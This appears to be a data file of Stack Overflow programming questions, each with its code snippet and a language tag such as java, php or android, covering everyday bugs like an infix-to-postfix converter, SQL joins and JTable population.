infix to postfix converter not working <pre><code>      int prec(char ch)      {              switch (ch){             case  / :              case  * : return 2;             case  + :             case  - : return 1;             default: return 0;      }    }       void infix_postfix(char infix[]  char postfix[]  int size)     {             stacktype&lt;char  20&gt; s;             stack&lt;char&gt; s;             int precedence;             int i = 0;             int k = 0;             char ch;       while (i &lt; size)     {             ch = infix[i];             //push the open parenthesis                           if(ch == ( )             {                                s.push(ch);                     i++;                     continue;             }             //if a closed parenthesis is encountered  then pop all the elements and append it to the postfix expression till we encounter an open parenthesis                             if(ch ==  ) )             {                      while(!s.isempty() &amp;&amp; s.top() !=  ( )                     {                              postfix[k++] = s.top();                             s.pop();                     }                      if (!s.isempty())                     {                             s.pop();                     }                     i++;                     continue;             }             precedence = prec(ch);             //if we encounter an operand then append it to the postfix expression                          if (precedence = 0)             {                      postfix[k++] = ch;             }             else                      if(s.isempty())                     {                      //push the operator onto the stack if stack is empty                                                          s.push(ch);                     }                     else                     {                     //pop all the operators from the stack and append it to the postfix expression till we see an operator with a lower precedence of the current operator                             while(!s.isempty() &amp;&amp; s.top() !=  (  &amp;&amp; precedence &lt; prec(s.top()))                             {                                      postfix[k++] = s.top();                                     s.pop();                             }                      s.push(ch);                     }             i++;             }             if(ch ==  ) )             //if a closed parenthesis is encountered  then pop all the elements and append it to the postfix expression till we encounter an open parenthesis             {                      while(!s.isempty() &amp;&amp; s.top() !=  ( )                     {                              postfix[k++] = s.top();                             s.pop();                     }                      if (!s.isempty())                     {                             s.pop();                     }                     i++;                     continue;             }             while (!s.isempty())             {                     postfix[k++] = s.top();                     s.pop();             }             s.push(ch);             postfix[k] = 0;          }   int main()   {     char infix[] =  a*(b+c) ;     int size = strlen(infix);     char postfix[size];     infix_postfix(infix  postfix  size);     cout &lt;&lt;  infix expression is:   &lt;&lt; infix &lt;&lt; endl;     cout &lt;&lt;  postfix expression is:   &lt;&lt; postfix;     cout &lt;&lt; endl;     return 0;    } </code></pre>   when i execute this code  it does not properly place the letter and the operators in the right order. it seems that the operator comes first rather than the operands and the order is changed even more when i put a open parenthesis in the middle of the infix expression. for example  when i put a+(b+c) as the infix expression  the result ends ups as +cb+a.,c++
how to format float 0.5 to float 0.50  update: seem like their bug.  github issue link: <a href= https://github.com/freecodecamp/freecodecamp/issues/10491  rel= nofollow noreferrer >https://github.com/freecodecamp/freecodecamp/issues/10491</a>    =================    i am studying freecodecamp course- exact change . i need to convert float-type-data 0.5 to float-type-data 0.50  i have try some solutions but not work!    float.tofixed(2) return a string-type  0.50   and if i use parsefloat( 0.50 ) it will return float-type-data 0.5!    how can i solve this issue     follow is the requirement screenshot  i had try float 0.5  but failed to pass!    <a href= https://i.stack.imgur.com/j22mm.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/j22mm.png  alt= enter image description here ></a>,javascript
how to move a uiimage view from a uiview to uiscrollview   i m new to objective c. for example  i have one uiview(palette) on top of one uiscrollview(game area). i m programmatically creating a uiimageview which is originally placed at the uiview(palette). i want to drag the uiimageview from the palette to game area. how can i achieve this  any answer will be greatly appreciated:-)    note: i have tried removefromsuperview which does not work for my case,objective-c
asp.net imagebutton: how to hide the red cross when no imageurl is present and just show the alternatetext  i have an imagebutton with an empty imageurl but there is some text in the alternatetext. in ie  it is displayed with a red cross and the alternatetext next to the red cross. in ff  only the alternatetext appears with no red cross image and that is what i want. plz  i need to work with imagebutton...dont suggest replacing it with linkbutton or anything else. so how can i get rid of the red cross thing in ie.    thanks,asp.net
nesting html elements within <code>  so after years of doing work on back end technologies such as php and c#  i find myself in the position of working on the front end again. i m trying to build up my knowledge of bootstrap  and am making my own local reference page. i m trying to use the widgets produced to display the code so i can refer to them easily.    i ve been doing things like the following in regards to show me elements of jquery that bootstrap references  and it works perfectly.   <pre><code>&lt;p&gt;echo the jquery      &lt;code&gt;         $(document).ready(function(){$( [data-toggle= tooltip ] ).tooltip();});      &lt;/code&gt; at the bottom (or somewhere) to enable this. &lt;/p&gt; </code></pre>   however  when i try to apply the following concepts to html itself  it tries to apply markup.   <pre><code>&lt;p&gt;     this uses      &lt;code&gt;&lt;div class=container&gt;&lt;/div&gt;&lt;/code&gt;     in the outer div  and      &lt;code&gt;&lt;div class=page-header&gt;&lt;/div&gt;&lt;/code&gt;      in the nested title. &lt;/p&gt; </code></pre>   this produces:   <blockquote>    this uses in the outer div  and        in the nested title.  </blockquote>   am i doing something really obviously wrong here  or do i need to escape it with some other element  here s a jsfiddle: <a href= https://jsfiddle.net/o4vereqk/4/  rel= nofollow >https://jsfiddle.net/o4vereqk/4/</a>,html
java: how to create a variable that only allows 3 different values  how to create a variable that only allows 3 different values   for example  the variable <code>color</code> can only take either one of the 3 values <code>{red  black  orange}</code> and nothing else.    obviously  i know that i can define <code>string color</code>   but is there a better way to do this,java
how to use nstimers as associative references   i ve tried the following:   <pre><code>- (void)setuptimer {     nstimer *timer = [nstimer scheduledtimerwithtimeinterval:2.0 target:self selector:@selector(dosomething) userinfo:nil repeats:yes];     objc_setassociatedobject(self  &amp;key  timer  objc_association_retain);     [timer invalidate]; }  - (void)dosomething { /* ... */ } - (void)afterdoingsomething { [objc_getassociatedobject(self  &amp;key) invalidate]; } </code></pre>   yet  the timer doesn t tick (i didn t expected it to do so; this code just didn t look much right to me) for some reason. is there a way to  make it... work,objective-c
how to hide a table row that has no unique id  how to hide a table row  that has no unique id   but row just contains td with a specific text  note that i cannot adjust the classnames or add id s there either. its nested tr.    eg.    <pre><code>&lt;tbody&gt;&lt;tr&gt; &lt;table id= baskettable &gt;&lt;tbody&gt; &lt;tr class= separaterow  &gt;            &lt;td class= separatecolumn  colspan= 2 &gt; do not hide this row&lt;/td&gt;            &lt;td class= separatecolumn &gt;&lt;/td&gt;            &lt;td class= separatecolumn &gt;&lt;/td&gt;           &lt;td class= money &gt;100 39 &lt;/td&gt;           &lt;td&gt;&lt;/td&gt;   &lt;/tr&gt;  &lt;tr class= separaterow  &gt;            &lt;td class= separatecolumn  colspan= 2 &gt; yes hide this row&lt;/td&gt;            &lt;td class= separatecolumn &gt;&lt;/td&gt;            &lt;td class= separatecolumn &gt;&lt;/td&gt;           &lt;td class= money &gt;100 39 &lt;/td&gt;           &lt;td&gt;&lt;/td&gt;   &lt;/tr&gt; </code></pre>,jquery
count occurrences of character in order  i want to find occurrence of each character in their increasing order.    for eg. for input  <code>abcddec</code> output should be  <code>a1b1c1d1d2e1c2</code>   but my  code is giving me output as  <code>a1b1c2d2e1c2</code>    what changes i should make    <pre><code>package com.java8;  public class occurences {      public static void main(string[] args) {          string str =  abb ;         char[] arr = str.tochararray();         string result =   ;         for (int i = 0; i &lt; arr.length; i++) {             int count = 0;             for (int j = 0; j &lt; arr.length; j++) {                 if (arr[i] == arr[j]) {                     count++;                 }             }             result = result + arr[i] + count;         }         system.out.println(result);     } } </code></pre>,java
getting proper line breaks in email to sms with php mail()  i am sending emails to sms using php. i am using <code>@mms.att.net</code> instead of <code>@txt.att.net</code> as it allows me to control the name who the text message is from. <code>@txt.att.net</code> uses a random number that cant be changed. everything sends great however i am having issues getting line breaks to display how i want. i have tried multiple combinations such as <code>\r\n</code> <code>\n\r</code> <code>\r</code> <code>\n</code> however am having no luck. they all return the same result except <code>\n\r</code> which double spaces. it doesn t help to send the message in <code>text/html</code> as the phones sms program wont interpret <code>&lt;br&gt;</code> and shows as chars in the body if i was to use it. i have tried. so i am sending in <code>text/plain</code> the result i am getting is as follows   <pre><code> tim smith   time: 6pm   location: somewhere  usa   phone: 111-111-1111   status: open </code></pre>   and what i am trying to achieve is for it to look like this with no spaces between each line.   <pre><code>tim smith time: 6pm location: somewhere  usa phone: 111-111-1111 status: open </code></pre>   my code for php mail() is   <pre><code>    $txt  =  test .  \n .              $firstname $lastname\r\n .              time: $jobtime\r\n .              location: $city  $state\r\n .              phone: $phone\r\n .              status: $jobstatus ;      $to =  1111111111@mms.att.net ;     $subject =  test message ;     $txt;     $headers =  mime-version: 1.0  .  \r\n ;     $headers .=  content-type:text/plain;charset=utf-8  .  \r\n ;     $headers .=  from: test&lt;test@example.com&gt;  .  \r\n ;      mail($to $subject $txt $headers  -f test@example.com ); </code></pre>   might there be a different method to achieve what i want,php
what s wrong with my sql case command  <pre><code>select * from booking   case when travel_date &lt;= getdate() then  past travel else  future  end as  has travel happened  </code></pre>,mysql
plain javascript custom validation run validation on keyup  i wrote a custom javascript validator that needs  to run on every keyup event that is attached to ever input and runs the vacillator() for every  input field.    problem is that it only works on load. i want to to work on every key-up event.  here is a jsfiddle <a href= https://jsfiddle.net/vo1npqdx/717/  rel= nofollow noreferrer >https://jsfiddle.net/vo1npqdx/717/</a>   <pre><code>function display_error(elem  message) {     elem.insertadjacenthtml( afterend    &lt;label class= js-error  style= color:red;  &gt;  + message +  &lt;/label&gt; ); }  function check_error(elem) {     error_label = elem.nextelementsibling     if (error_label &amp;&amp; error_label.classlist.contains( js-error )) {         return true;     }   }  function add_error(elem message) {     if (!check_error(elem)){         display_error(elem  message)      }  }  function delete_error(elem) {     if (check_error(elem)){         elem.nextelementsibling.remove();            }  }  function validateform(elem) { alert( checking if form is vaild )      // if input type == text     if (elem.getattribute( type ) ==  text ) {         //alert( elemcent is text )          maxlength = elem.getattribute( maxlength )         minlength = elem.getattribute( minlength )         data_error = elem.getattribute( data-error )           // if has attribute maxlegnth         if (minlength) {             // if value is under min length             if (elem.value.length &lt; parseint(minlength)) {                 // add errors                 add_error(elem  data_error)                 //alert( above min length )              } else {                 // delete                 //alert( delere errror )                 delete_error(elem)              }         }           }          // if input type == number             if (elem.getattribute( type ) ==  number ) {         //alert( element is text )          max = elem.getattribute( max )         min = elem.getattribute( min )         data_error = elem.getattribute( data-error )           // if has attribute maxlegnth         if (min) {             // if value is under min length             if (elem.value &lt; parseint(min)) {                 // add errors                 add_error(elem  data_error)                 //alert( belove min number )             }             else if(elem.value &gt; parseint(max)){                   // add errors                 add_error(elem  data_error)                 //alert( above max number )             }             else {                 // delete                 //alert( delere errror )                 delete_error(elem)              }         }           }    }  // desired result // if keyup     // for input in inputs:         // somefunc(input) that makes input tags red var inputs = document.getelementsbyclassname( form-control );  for(var i=0;i&lt;inputs.length;i++){     elem = inputs[i]   elem.addeventlistener( keyup   validateform(elem))  } </code></pre>,javascript
weird problem with the style of divs in ie 9  i m having a confusing problem  when i open my website in internet explorer  most of the div style is messed up  like border radius and positioning  i looked here and put <code>&lt;meta http-equiv= x-ua-compatible  content= ie=9  /&gt;</code> in. when i loaded that it would look much more messed up then before  but when i took out the meta tag  and uploaded the new file and refreshed the page  it looked fine  but if i was to close ie 9 and go back to my website  it looked how it did without the meta tag,html
why won t this div animate   i have added some animation using jquery but it s not working:   <pre><code>$( .test-container ).click(function(){   $(this).css( background-color    rgb(119  119  119) ); $(this).animate({right:  50%   opacity: 0.3}  1000);  }) </code></pre>   here is the jfiddle i created: <a href= http://jsfiddle.net/ejhdm/2/  rel= nofollow >http://jsfiddle.net/ejhdm/2/</a>    am i doing something obviously wrong here  i can t see it.,jquery
python class variables <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/11007627/python-variable-declaration >python variable declaration</a>    </blockquote>     i m new to python  and i wonder how to put a proper  empty  variables into classes.    for example  in c++  i can put variables like:   <pre><code>public class employee{ private: int id; string name; public: ..... } </code></pre>   in python  how do i setup the name and the id without giving them values   is it something like:   <pre><code>class employee: __name__ __id__ ... </code></pre>   also  is it possible to set the data type for each variables,python
how to avoid the execution of an idempotent code   i have a class which has an init method which does initialization of the member variables.so i wanted the execution of that code to be run only once for any number execution of that class. so how to go about that     please let me know if the question is not clear.    edit:    actually i have some legacy code with thousands of classes having the big init methods. which does the initialization(with all static values) of the member variables.     and say suppose in a main method if i have a reference to any of these class. and i run the main method for 100 times then all 100 times it executes the same method which is a performance hit. so i thought of having the member variables as static and do the initialization only once for any number of execution. but i thought it will lead to a outofmemory as all the objects for those thousands of classes will remain in jvm till it dies.    hope it is clear now.    thanks.,java
sql-problems with join  i have three tables with students  employees and students. the column  city  in employees and students is an integer and is referring to the table city where store a lot of cities.     <img src= https://i.stack.imgur.com/cqdma.png  alt=  >    now i want a list of every person in the employees and students table with the city the person is located into.     for example:    <pre>    name               | city     ---------------------------------    james (employee)   | london     jesus (student)    | london     daniel (employee)  | manchester  </pre>,sql
how to push a view controller using singleton methods  i want to push a view controller when i press a button in common custom view which is added as subview in the <code>mainviewcontoller</code>. the method should be in singleton class to have the method commonly in all classes  how to do this please suggest me     is that possible to have the method in singleton class    <pre><code> createcontactviewcontroller *contactlist = [self.storyboard     instantiateviewcontrollerwithidentifier:@ createcontact ];     [self.navigationcontroller pushviewcontroller:contactlist animated:yes]; </code></pre>,ios
problem regarding iphone web app  i need to create a web app on iphone. how to go about it,iphone
unique key my app in ios  hi i need unique key which is generated during run time of my app. that is no device authentication all the device should generate same key because i need to hardcore it in my server. any device with my app want to generate unique key to send request to server to ensure the request is came from my app. i think any key can be generate using my app store certificate  is it possible . because all the device with my app should contain only same certificate.    pls help me to out of this problem.,ios
difference between view controller and normal model class when declaring property   i was just figuring out how to have private variable with class extension. and what i noticed was that there is no default code for <strong>class extension</strong> inside a normal class. and when i try to declare variable with <strong>@property</strong>  it does not allow me but to type <strong>@protected</strong> and <strong>@private</strong> while inside viewcontroller  it only allow me to have <strong>@property</strong> <strong>@optional</strong> <strong>@required</strong>.    so  my question is that is there any reason for that..  what is the difference and what makes it different..,objective-c
java.io.filenotfoundexception: in.txt  (the system cannot find the file specified)  i m getting the following error   <pre><code>java.io.filenotfoundexception: in.txt  (the system cannot find the file specified)     at java.io.fileinputstream.open(native method)     at java.io.fileinputstream.&lt;init&gt;(unknown source)     at java.io.fileinputstream.&lt;init&gt;(unknown source)     at java.io.filereader.&lt;init&gt;(unknown source)     at filetest.main(filetest.java:50) </code></pre>   yet im certain that i have created a in.txt file under the src  bin  and root directory. i also tried specifying the full directory in my main parameters  but still not working. why isn t eclipse picking it up    <pre><code>import java.io.*; public class filetest {     public static void main(string[] args) {          try {             string infilename = args[0];             string outfilename = args[1];             bufferedreader ins = new bufferedreader(new filereader(infilename));             bufferedreader con = new bufferedreader(new inputstreamreader(system.in));             printwriter outs = new printwriter(new filewriter(outfilename));              string first = ins.readline(); // read from file             while (first != null) {                 system.out.print( type in a word to follow   + first +  : );                 string second = con.readline(); // read from console                 // append and write                 outs.println(first +      + second);                 first = ins.readline(); // read from file             }             ins.close();             outs.close();         } catch (ioexception ex) {             ex.printstacktrace(system.err);             system.exit(1);         }      } } </code></pre>,java
sqlexception has different constructors for the same system.data version  i have the following two machines with the .net framework versions installed:   <pre><code>machine a ------------- v4.0.30319 v3.5 v3.0 v2.0.50727 v1.1.4322 v1.0.3705  machine b ------------- v4.5 v4.0.30319 v3.5 v3.0 v2.0.50727 v1.1.4322 v1.0.3705 </code></pre>   when decompiling system.data  version=4.0.0.0 using dotpeek on machine a  i get the following:   <pre><code>// type: system.data.sqlclient.sqlexception // assembly: system.data  version=4.0.0.0  culture=neutral  publickeytoken=b77a5c561934e089 // assembly location: c:\windows\microsoft.net\assembly\gac_32\system.data\v4.0_4.0.0.0__b77a5c561934e089\system.data.dll  namespace system.data.sqlclient {     private sqlexception(string message  sqlerrorcollection errorcollection)     {     } } </code></pre>   when decompiling system.data  version=4.0.0.0 using dotpeek on machine b  i get the following:   <pre><code>// type: system.data.sqlclient.sqlexception // assembly: system.data  version=4.0.0.0  culture=neutral  publickeytoken=b77a5c561934e089 // assembly location: c:\windows\microsoft.net\assembly\gac_32\system.data\v4.0_4.0.0.0__b77a5c561934e089\system.data.dll  namespace system.data.sqlclient {     private sqlexception(string message  sqlerrorcollection errorcollection  exception innerexception  guid conid)       : base(message  innerexception)     {     } } </code></pre>   as you can see <code>sqlexception</code> has different constructors even though the <code>system.data</code> versions appear to be the same. i suspect the reason is that machine b has .net 4.5 installed  however i don t understand how a dll with same version and publickeytoken can have different implementations of the same class.     can anyone confirm that this class did change between 4.0 and 4.5      also  isn t an in-place upgrade dangerous  i was using reflection to create an instance of a sqlexception and now this is suddenly broken by installing a later version of the framework.,.net
angular 1.5 sort in <select ng-options>  i have seen similar posts on stack overflow but i have tried them all and can t seem to get it working.     i want to sort my angular dropdown list alphabetically but for some reason it doesn t understand the  |orderby:  filter.    my code is as follows:    <pre><code> &lt;select class= form-control  ng- model= widget.documentselectedgroupname.groupname   id= widgetselectedgroupname  ng-options= group as group.groupname for group  in widget.groupnamesearch  | orderby:group.groupname track by group.mailnickname &gt; </code></pre>   thanks for the help in advance.,angularjs
choosing template to develop iphone project  i have 11 pages so i want to navigate to any page from any current page with good memory management...so which template i use to develop ...    thanks...,iphone
concept of benchmarking in c#   please tell me something about benchmarking in c#..what the different code benchmarking techniques are   how to benchmark our own code based on speed and memory usage   please help me guys..thanks,c#
determine if user s online  how can i determine if a user is online or not  preferably a group of users. i was thinking everytime a user visits a page create a record in the db with <code>time.now</code> and use ajax to invoke periodic calls to my remote server; just to see if the time from their last noted activity was about  say  10 minutes,ruby-on-rails
how to get the lightest color from a list of hex values using javascript  i have a list of hex colors #000000 values. how can i get the lightest color from a list of hex colors using javascript     any help will be appreciated,javascript
how can i compare two values using the textwatcher  i m using a textwatcher to receive every letter from a edittext in real-time  and i would like to compare the edittext text  to a specific string.     i would like to change the color from the edittext when both values are different.    i already tried to implement my ideas  but is not working properly  i don t receive any error  the text just stays red all the time even when the first letters are equal.    my code:   <pre><code>public void ontextchanged(charsequence s  int start  int before  int count) {          for(int i = 0; i &lt; getstring().length();i++){          if (string.valueof(s).equals(getstring().charat(i))) {              medittext.settextcolor(color.green);          } else {              medittext.settextcolor(color.red);          }      }    } </code></pre>   thank you.,android
finding the cumulative sum with different function call  i am trying to get the cumulative sum of the  count  from the sql query   which is called from function <code>getcumchartstatusesbyweek</code>  with different parameters. but the variable <code>cumulativesum</code> is showing error as <code> undefined variable </code>  and only the actual count is displayed  not the cumulative sum.     any idea on what i am doing wrong    <pre><code>$jsondatacumarray = []; $cumulativesum = 0;  $jsondatacumarray[] = getcumchartstatusesbyweek($statusid  $wwareaminus1  $wwareanow); $jsondatacumarray[] = getcumchartstatusesbyweek($statusid  $wwareanow  $wwareaplus1); $jsondatacumarray[] = getcumchartstatusesbyweek($statusid  $wwareaplus1  $wwareaplus2); $jsondatacumarray[] = getcumchartstatusesbyweek($statusid  $wwareaplus2  $wwareaplus3);  //quick function used to grab data for the above bar graph  function getcumchartstatusesbyweek($statusid $starttime1  $endtime1){  global $db $andcustomersinstring;  $jsoncumdata = [];  $qcum =    select count(*) as count           from request_meta rmm          left join request_taxonomy rtt on rtt.id = rmm.id          where rtt.req_a_id = $statusid          and rmm.req_id in              (select r.req_id from requests r                where unix_timestamp(str_to_date(r.date_created  %y-%m-%e %h:%i:%s )) between $starttime1 and $endtime1                                 $andcustomersinstring              )              and rmm.meta_value= new   ;           $row1 = $db-&gt;query($qcum)-&gt;fetchall();          $cumulativesum +=  $row1[ count ];          $jsoncumdata[ newrequests ] = $cumulativesum;        return $jsoncumdata; } </code></pre>   result   <pre><code>    json array (     [y] =&gt; 2016-02-15     [newrequests] =&gt; 2 ) json array (     [y] =&gt; 2016-02-22     [newrequests] =&gt; 9 ) json array (     [y] =&gt; 2016-02-29     [newrequests] =&gt; 2 ) json array (     [y] =&gt; 2016-03-07     [newrequests] =&gt; 0 ) </code></pre>,php
fread not reading struct  i have the following code that writes structs to a file like so:    <pre><code>void write_assignments_to_file(list* assignments  file* file) {     while (assignments != null) {        fwrite(assignments-&gt;a  sizeof(assignments-&gt;a)  1  file);        assignments = assignments-&gt;next;     }     fclose(file); } </code></pre>   this is writing to the file but when i try to read the file again it hangs my code for reading looks like:   <pre><code>list* read_assignments_from_file(file* file) {     assignment* assignment;      list* item;      item = null;      while ( fread(assignment  sizeof(assignment)  1  file) ) {         printf( reading an assignment in );         insert(item  assignment);     }      fclose(file);      return item; } </code></pre>   my insert method looks like:    <pre><code>list* insert(list* assignment_pointer  assignment* new_assignment) {     list* ap = assignment_pointer;     if(assignment_pointer != null){         while (assignment_pointer-&gt;next != null) {            assignment_pointer = assignment_pointer -&gt; next;         }         assignment_pointer -&gt; next = (struct list*)malloc(sizeof(list));         assignment_pointer = assignment_pointer -&gt; next;         assignment_pointer -&gt; next = null;         assignment_pointer -&gt; a = new_assignment;         return ap;     } else {         assignment_pointer = (list*) malloc (sizeof(list));         assignment_pointer -&gt; next = null;         assignment_pointer -&gt; a = new_assignment;         return assignment_pointer;     } } </code></pre>   my struct definition for assignment looks like:   <pre><code>typedef struct assignment {     char* moduletitle;     char* moduleid;     char* title;     char* author;     time_t date_set;     time_t date_due;     int weighting; } assignment; </code></pre>   so whats causing my program to hang,c
disable status bar android 4+  i see the answer often for this is that it is not possible.  i assume that google does not want you to do this.  but i am building a kiosk app.  i know it is possible because this application does it: <a href= https://play.google.com/store/apps/details id=com.procoit.kioskbrowser  rel= nofollow >https://play.google.com/store/apps/details id=com.procoit.kioskbrowser</a>    so install the application and open it.  if you scroll down on the status bar on the top it shows the status bar but never expands it.    i assume they are doing something hacky but i want to be able to do that.  any thoughts on what they are doing,android
does rails have an  active   method on activerecord   i m looking at  fields_for  helper doc at <a href= http://api.rubyonrails.org/classes/actionview/helpers/formbuilder.html#method-i-fields_for-label-one-to-many  rel= nofollow >rails api website</a>. the following piece of code confuses me.   <pre><code>&lt;%= form_for @person do |person_form| %&gt; ...   &lt;%= person_form.fields_for :projects do |project_fields| %&gt;     &lt;% if project_fields.object.active  %&gt;       name: &lt;%= project_fields.text_field :name %&gt;     &lt;% end %&gt;   &lt;% end %&gt; ... &lt;% end %&gt; </code></pre>   does anyone have an idea about what  acitve   is  it looks like a method on the activerecord object  but i can t find any doc/reference about it.,ruby-on-rails
angular cannot seem to understand text with spaces in $watch expression  i am attempting to add a <code>$watch</code> to a model property  and i m running into an issue where  if the initial value has a space  it throws an error; this is how i ve set it up.   <pre><code>$scope.$watch($scope.name  function (n  o) {    console.log( updating name:    n); }); </code></pre>   this corresponds to the html ...   <pre><code>&lt;span name= name  contenteditable strip-br= true  ng-model= name  class= profile-name  /&gt; </code></pre>   i am using the following binding to work with <code>contenteditable</code>   <pre><code>angular.module( ui.editable   [ ngsanitize ]). directive( contenteditable   [ $sce   $sanitize   function($sce  $sanitize) {     return {         restrict:  a   // only activate on element attribute         require:   ngmodel   // get a hold of ngmodelcontroller         link: function(scope  element  attrs  ngmodel) {             if (!ngmodel) return; // do nothing if no ng-model              // specify how ui should be updated             ngmodel.$render = function () {                 element.html($sanitize(ngmodel.$viewvalue ||   ));             };              // listen for change events to enable binding             element.on( blur keyup change   function () {                 scope.$apply(readviewtext);             });              // write data to the model             function readviewtext() {                 var html = element.html();                 // when we clear the content editable the browser leaves a &lt;br&gt; behind                 // if strip-br attribute is provided then we strip this out                 if (attrs.stripbr &amp;&amp; html ==  &lt;br&gt; ) {                     html =   ;                 }                 ngmodel.$setviewvalue(html);             }         }     }; }]); </code></pre>   altogether  i get this error when i try to run this code   <blockquote>    error: [$parse:syntax] syntax error: token  lynn  is an unexpected token at column 8 of the expression [stacey lynn] starting at [lynn].  </blockquote>   i m at a loss as to why this is happening. i ve never encountered something quite like this before.    if the name does not contain spaces  there is no error. once the watch initializes successfully  there do not appear to be any errors if the value changes to one that contains spaces.,angularjs
adding similar jquery behavior to a range of elements  i have added the following behavior to a range of divs.   <pre><code>$( div#_first_menu ).click(function () {   ...   $( div#_first_content ).toggleclass( property1 property2 ); });  $( div#_second_menu ).click(function () {   ...   $( div#_second_content ).toggleclass( property1 property2 ); }); </code></pre>   now that the solution works as supposed to i can unleash my passion for code hygiene. the immediate question  the answer to which i can t really see is how to go about {see title here}. i d like to perform something along the lines of this.   <pre><code>$( div#_  + magic_marker +  _menu ).click(function () {   ...   $( div#  + magic_marker+  content ).toggleclass( property1 property2 ); }); </code></pre>   that way i would be able to neatly compact the code  still keeping it readable. suggestions,jquery
select option  with anchor  how would i transform the below code into a <code>&lt;select&gt; &lt;option&gt;</code> drop down  currently when i select any one of the links below it filters out a list only showing the selected items.   <pre><code>&lt;span&gt;filters:&lt;/span&gt; &lt;a class= button  href= #all &gt;all&lt;/a&gt; &lt;a class= button  href= #settings &gt;settings&lt;/a&gt; &lt;a class= button  href= #categories &gt;categories&lt;/a&gt; </code></pre>   <strong>trying to do something like this</strong>   <pre><code>&lt;select&gt; &lt;option class= button  href= #all &gt;all&lt;/option&gt; &lt;option class= button  href= #settings &gt;settings&lt;/option&gt; &lt;option class= button  href= #categories &gt;categories&lt;/option&gt; ... </code></pre>,html
check_box_tag and params hash  i have some checkboxes like so in a form:   <pre><code>&lt;%= check_box_tag  marked[#{relative_filepath}]   1  false %&gt; </code></pre>   which produces:   <pre><code>&lt;input type= checkbox  value= 1  style= display: none;  name= marked[/blah]  id= marked__blah &gt; </code></pre>   now supposedly  i should there should be a hash in params[:marked]  but this is nil.    what am i doing wrong,ruby-on-rails
how to stop opening the application from other application in android   i came to know that  we can open one application from other application in android. so i am using <code>android:exported= false </code> in order to restrict that. but when i put same tag for launcher  then i am not able to open the application.   <pre><code>&lt;activity     android:name= splashscreen      android:label= @string/app_name      android:screenorientation= portrait &gt;      &lt;intent-filter&gt;         &lt;action android:name= android.intent.action.view  /&gt;         &lt;category android:name= android.intent.category.default  /&gt;         &lt;data android:mimetype= */*  /&gt;     &lt;/intent-filter&gt;     &lt;intent-filter&gt;         &lt;action android:name= android.intent.action.main  /&gt;         &lt;category android:name= android.intent.category.launcher  /&gt;     &lt;/intent-filter&gt;  &lt;/activity&gt; </code></pre>   (because my application should be able to open any file  i am applying 2 intent filters),android
how can i sort by variable within a foreach loop (php)   in my for each loop i want to sort my options by the value of my variable <code>$total</code> resp. by the <code>data-total</code>:   <pre><code>     &lt;select&gt;                    &lt;option data-total= 0  value=   selected&gt;--&lt;/option&gt;                    &lt; php                       $pdo = database::connect();                       $sql =  select  *  from table_a;  ;                      foreach ($pdo-&gt;query($sql) as $row) {                              $a = $row[ a ];                             $number_a = $row[ number_a ];                                             $sql2 =  select  *  from table_b where a =  $a ;  ;                             $number_b = 0;                              foreach ($pdo-&gt;query($sql2) as $row2) {                                 $number_b+= $row2[ number ];                              }                              $total = $number_a - $number_b;                              echo  &lt;option data-total=  .$total.   value=  .$a.  &gt; .$a;                      }                      database::disconnect();                           &gt;                                                                &lt;/select&gt; </code></pre>   is this possible  thank you very much!,php
how to control wether or not my app will stop any ipod music playing   when my app launches  there are rumors that i can decide if any currently playing music is stopped or not.     my goal is to use audio queue services  because i believe that s the most powerful audio technology in iphone os.    so  could i really decide that when my app launches  how  which one of the many audio technologies on the iphone os is responsible for managing this,iphone
access protected member from separate class  this is an over simplification of what i am working with because there is a lot of code. so i have two classes. a is the parent of aa and x is the parent of xx. i set the parent a as a friend class of x and xx so that i can access its private and protected variables . now because aa is the child of a and inherits from a why can t i access the protected members of x or xx  a is a friend class so shouldn t this work  i always get an error saying that <code>bara</code> is a protected member of x.   <pre><code>class a {     friend class x;     friend class xx; public:     void fooa(); protected:     int fooa; };  class aa: public a { public:     voif fooa(); private:     int fooa; };  class x { public:     void bara(); protected:     int bara; };  class xx: public x { public:     void bara(); private:     int bara; }; </code></pre>,c++
passing arraylist values to a jtable  i ve been trying to populate a jtable from an object array  but nothing is showing up. here is the method code that populates the table. the system.out.println enables me to check if the data is passed correctly  and there are values within the variables. this is from the interface:   <pre><code>public void populatetable(arraylist&lt;outlet&gt; outletlist  string selection){     f = new fourth();     for(int i = 0; i&lt;outletlist.size(); i++){         if(outletlist.get(i).getcity().equalsignorecase(selection)){             if(outletlist.get(i).getstatus().equals( active )){                  string bar = outletlist.get(i).getbarangay();                 string code = integer.tostring(outletlist.get(i).getcode());                 string name = outletlist.get(i).getname();                   system.out.println(bar);                 system.out.println(code);                 system.out.println(name);                  object[] data = {bar  code  name};                     system.out.println( data:   + data[0].tostring()); //correct                 system.out.println( data:   + data[1].tostring()); //correct                 system.out.println( data:   + data[2].tostring()); //correct                  f.getdtm().addrow(data);             }            }        }  } </code></pre>   this method is called when a user selects an item from a combobox. this panel is the page before the jtable is created:    <pre><code> citycombobox1.addactionlistener(new actionlistener() {         public void actionperformed(actionevent e) {             selcity1 = citycombobox1.getselecteditem().tostring();             if(itr.next() ==  non-citadel ){                 outlet.populatetable(outletlist1  selcity1);             }         } </code></pre>   here is my gui code for table and defaulttablemodel:   <pre><code>string[] columnnames = new string[]{ barangay    name    code };     dtm = new defaulttablemodel(columnnames  0);     pjptable = new jtable(dtm);              scrollpane = new jscrollpane(getpjptable());     tablepanel.add(new jscrollpane(getpjptable()));      mainframe.add(mainpanel);     mainframe.add(tablepanel borderlayout.south); </code></pre>   only the table headers appear  even if the data from the interface is displayed in the console. if anyone has a solution on how to correctly pass the data values to the jtable  that would be awesome!,java
nested for loop multidimensional array search  got a silly question im struggling with.    im trying to step through a c# multidimensional array using nested for loops  but i cant get the result i want and im thinking its just a stupid problem with my code.   <pre><code>string search = txtstring.text;          int iloop;         int jloop;         int iresult = -1;          for (iloop = 0; iloop &lt; sounds.getlength(0) ; iloop++)         {             for (jloop = 0; jloop &lt; sounds.getlength(1) ; jloop++)             {                  string result;                 result = sounds[iloop jloop];                  if (result == search)                 {                     iresult = iloop;                 }             }         }              if (iresult == -1)             {                 messagebox.show( result not found );             }             else             {                 messagebox.show( result found at position   + iresult);                                 }                 } </code></pre>   it searches the array  and returns a positive result if the answer is found  but the result position is always  result found at position 1 .    what have i done wrong,c#
